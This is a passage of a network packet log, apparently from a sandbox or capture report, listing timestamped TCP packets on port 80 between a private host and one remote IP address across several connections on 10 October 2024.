Oct 10, 2024 21:01:25.161200047 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161225080 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161226034 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161253929 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161304951 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161308050 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161333084 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161362886 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161380053 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161395073 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161408901 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161442995 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161957026 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.165709019 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.165783882 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.165889978 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166054964 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.166368008 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166574001 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166691065 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166738033 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166872978 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166899920 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166944981 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166970968 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.166996002 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.167021990 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170242071 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.170500040 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170526028 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170658112 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170675039 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.170811892 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170840979 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170866966 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.170964003 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.171149015 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.171175957 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.175438881 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.175466061 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.175494909 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.175705910 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.472897053 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.481473923 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.487442970 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.487509966 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.661303043 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.666455030 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.666549921 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.667072058 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.672061920 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.116501093 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.117332935 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.117609024 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122415066 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122668982 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122697115 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122729063 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122742891 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122771978 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122787952 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122797966 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122813940 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122837067 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122848988 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122875929 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122901917 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122915983 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122926950 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.122953892 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.122971058 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.123312950 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.123358011 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.128169060 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128196955 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128211975 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.128226042 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128237963 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128253937 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128324032 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.128781080 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.128868103 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.133326054 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133352995 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133394957 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.133394957 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.133507967 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133841991 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133934975 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133961916 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.133992910 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134186029 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134217024 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134350061 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134376049 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134516954 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134542942 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134653091 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134679079 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134727001 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134752989 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134799957 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134825945 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.134851933 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138506889 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138533115 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138643980 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138669968 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138716936 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.138742924 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.425620079 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.456470013 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.463248014 CEST	80	49743	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.463313103 CEST	49743	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.586805105 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.592255116 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:26.592361927 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.592902899 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:26.597987890 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.079758883 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.080557108 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.080775023 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.085783958 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.086183071 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.086205959 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.086235046 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.086244106 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.086332083 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.087369919 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087425947 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.087493896 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087548018 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.087601900 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087630987 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087642908 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087654114 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.087658882 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.087682962 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.087732077 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.090718985 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.090778112 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.091253042 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.091265917 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.091304064 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.091325045 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.091325045 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.091414928 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.091414928 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.091470003 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.092467070 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.092533112 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.092592001 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.092649937 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.092670918 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.092725039 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.092916965 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.092952967 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.092978001 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.093000889 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.093017101 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.093076944 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.096118927 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.096195936 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.096302032 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.096353054 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.096441031 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.096452951 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.096528053 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097590923 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097856045 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097908020 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097919941 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097965002 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097975969 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.097989082 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098062992 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098076105 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098112106 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098124981 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098196983 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.098208904 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.101325035 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.101337910 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.101349115 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.101361036 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.101372004 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.417340040 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.443048000 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.449320078 CEST	80	49744	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.449383974 CEST	49744	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.610869884 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.616115093 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:27.616235971 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.623673916 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:27.628783941 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.093676090 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.102871895 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.103370905 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.108480930 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.109718084 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.109879017 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.109935999 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.109965086 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.109991074 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110017061 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110028982 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110028982 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110044956 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110055923 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110079050 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110093117 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110111952 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110120058 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110146046 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.110150099 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110168934 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.110198021 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.113657951 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.113751888 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.115323067 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115350008 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115381002 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115433931 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.115467072 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115494013 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115554094 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.115665913 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.115972042 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.119360924 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.119652033 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.120893002 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.120939016 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121118069 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121193886 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121328115 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121572971 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.121715069 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121774912 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.121970892 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122200966 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122307062 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122389078 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122452974 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122478962 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122572899 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122600079 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122625113 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122649908 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122674942 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.122704029 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.125013113 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.125952959 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126101017 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126127005 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126701117 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126728058 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126753092 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.126856089 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.409688950 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.420682907 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.426140070 CEST	80	49745	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.426218033 CEST	49745	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.604888916 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.610172033 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:28.610249996 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.610761881 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:28.616102934 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.097059011 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.097819090 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.098018885 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103276014 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103308916 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103336096 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103403091 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103410006 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103447914 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103470087 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103475094 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103497982 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103501081 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103522062 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103530884 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103554964 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103557110 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103581905 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103605032 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.103605986 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.103651047 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.107913017 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108073950 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108453035 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108510971 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108592033 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108618021 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108645916 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108655930 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108679056 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108684063 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108704090 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108731031 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108737946 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108764887 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108807087 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108870029 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108896017 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.108927965 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108964920 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.108988047 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.109035969 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.109046936 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.109095097 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.113049030 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.113114119 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.113668919 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.113718033 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.113720894 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.113845110 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.113882065 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114099026 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114130020 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114319086 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114480972 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114506960 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114607096 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114669085 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.114695072 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115274906 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115300894 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115326881 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115354061 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115379095 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115426064 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115453005 CEST	80	49747	104.21.59.199	192.168.2.4
